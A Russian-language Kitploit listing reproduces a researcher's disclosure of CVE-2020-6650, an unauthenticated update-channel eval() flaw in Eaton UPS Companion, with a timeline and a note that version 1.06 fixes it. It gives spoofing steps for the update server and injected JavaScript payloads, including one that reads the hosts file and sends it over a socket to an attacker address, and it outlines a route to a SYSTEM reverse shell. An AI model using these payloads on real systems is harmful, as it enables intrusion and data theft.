Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Eaton-UPS-Companion-Exploit — Этот репозиторий содержит описание CVE-2020-6650, уязвимости, которую я обнаружил в программе Eaton's UPS Companion. Всем пользователям следует немедленно обновиться до версии v1.06, иначе они рискуют получить удалённый административный доступ к своей системе. | Kitploit
Инструменты/GitHubGitHub/ravss/eaton-ups-companion-exploit
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
ravss/eaton-ups-companion-exploit

Eaton-UPS-Companion-Exploit

Этот репозиторий содержит описание CVE-2020-6650, уязвимости, которую я обнаружил в программе Eaton's UPS Companion. Всем пользователям следует немедленно обновиться до версии v1.06, иначе они рискуют получить удалённый административный доступ к своей системе.

Репозиторий
116 лет назадЕщё не проверено

Обзор

Программное обеспечение Eaton UPS Companion каждую неделю проверяет наличие обновлений по незащищённому HTTP-соединению и выполняет (eval()) содержимое по URL обновления, каким бы оно ни было. Это позволяет злоумышленнику создать функцию JavaScript, использующую низкоуровневые операции операционной системы, уже существующие в серверном программном обеспечении, такие как выполнение файлов, сетевые сокеты и операции ввода-вывода файловой системы. Все эти операции выполняются с привилегиями NT AUTHORITY\SYSTEM, скорее всего, из-за разрешений, необходимых ИБП (Источнику Бесперебойного Питания) для управления системой. Подождав некоторое время, автоматическая инъекция команд, предоставляющая оболочку SYSTEM, происходит без усилий.

Эта проблема исправлена в версии 1.06, присвоен идентификатор CVE-2020-6650.

Временная шкала (UTC+12)

Обнаружена ошибка2019/10/25 - 21:43
Реализован эксплойт2019/12/28 - 06:28
Сообщено Eaton2019/12/28 - 10:00
Подтверждено2019/12/30 - 22:05
Отправлен простой PoC2020/01/04 - 03:32
В процессе исправления2020/01/21 - 12:54
Исправлено2020/03/21 - 12:21

Спасибо Eaton за упрощение раскрытия этого эксплойта.


Шаги обнаружения

Eaton UPS Companion получает обновления с http://pqsoftware.eaton.com/upgrade/upgrade_euc.info

Проблема 1: Может быть легко подменено через dsniff's arpspoof и dnsspoof, затем python -m http.server 80. Проблема 2: Отсутствие HTTPS открывает другой вектор атаки для того же эффекта.

По состоянию на 2019/10/25 - 22:08, содержимое ссылки:

root@kitploit:~
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
  "EUC":
  {
    "WINDOWS":
    {
      "version": "1.04.017",
      "packageURL": "install/win32/euc/euc_win_1_04_017.exe",
      "info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
    }
  }
}

Невозможно понять, как вычисляется контрольная сумма SHA1 для файла или что используется для её вычисления, но это сделало бы задачу намного проще.

Eaton UPS Companion создаёт локальный HTTP-сервер на http://localhost:4679. Нажатие на 'Version: Eaton UPS Companion v1.05' открывает скрытый отладочный лог по адресу http://localhost:4679/trace.html. Его также можно открыть через .\mc2.exe -start -debug в cmd.exe

Обслуживание пустой HTML-страницы вызывает заметную ошибку, которая логируется:

root@kitploit:~
2019/10/25-21:32:29.051 | UpdateManager        | !!! ERROR: Update data could not be parsed: 
{
  "message": "syntax error", 
  "fileName": "scripts/libs/json.js", 
  "lineNumber": 122, 
  "stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
  "name": "SyntaxError"
}

Здесь используется eval(), что облегчает нашу задачу. Вот пример манипуляции с интерфейсом, где содержимое ниже помещается в update_euc.info.

root@kitploit:~
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})

Это можно преобразовать в полноценную функцию благодаря анонимным функциям:

root@kitploit:~
(function() {
        UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
        UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()

Я полагаю, что также может быть доступ к ShutdownManager, что нехорошо.

Переход по http://localhost:4679/server/data_srv.js?action=init раскрывает дополнительную информацию о том, как работает система. Обычные функции JS, такие как alert(), не существуют, и такие объекты, как document, console и object, также отсутствуют. Действительно старая версия ECMAScript или что-то подобное? Нет ключевого слова let, только var.

Это может помочь:

root@kitploit:~
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",

UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});

Я могу увидеть все свойства объектов 'manager', например UpdateManager, через:

root@kitploit:~
(function() {
  for (var property in UpdateManager) {
    UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
  }
})()

Проделав это с UpdateManager, я обнаружил следующие очень интересные функции:

root@kitploit:~
selfUpdate IS function () {\n    var packagePath = UpdateManager.retrievePackage();\n    if (packagePath) {\n        ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n    }\n}

retrievePackage IS function () {\n    var updateLocation = UpdateManager.updateLocation;\n    if (!UpdateManager.updateData) {\n        UpdateManager.checkForUpgrade();\n    }\n    if (!UpdateManager.updateData.packageURL) {\n        error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n        return false;\n    }\n    var packageURL = UpdateManager.updateData.packageURL;\n    var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n    File.createPath(UpdateManager.outputPath);\n    if (File.status(packagePath)) {\n        debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n        return packagePath;\n    }\n    debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n    var client = new HTTPClient(updateLocation);\n    var response = client.get(packageURL);\n    if (response && response.status == 200) {\n        debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n        try {\n            File.put(packagePath, response.data);\n            debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n            return packagePath;\n        } catch (e) {\n            error(\"Failed to save update package at '?'\", packagePath);\n        }\n    } else {\n        debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n    }\n    return false;\n}

Это позволяет понять, что мы можем вызвать проблемы:

root@kitploit:~
(function() {
  if (System.getAdminRights()) {
    UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
  }
})()

Есть и другие полезные вызовы функций, такие как File.get("C:\\Windows\\System32\\drivers\\etc\\hosts"), который выводит содержимое файла hosts в строку, но только внутренне. Покопавшись в свойствах объекта HTTPClient, я обнаружил ещё один класс объектов, позволяющий создавать сокеты.

Например, для получения файла hosts:

root@kitploit:~
(function() {
  var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
  var s = new Socket("tcp");
  s.connect("192.168.1.???", 44444);
  s.send(hosts);
  s.close;
 }
})()

В конце концов, я понял, как работает System.open(<file>, <args>), который выполняет файл. Отсюда остаётся только загрузить реверс-шелл, подавить любое антивирусное решение (поскольку у нас есть привилегии SYSTEM) и получить реверс-шелл.

Скачать инструмент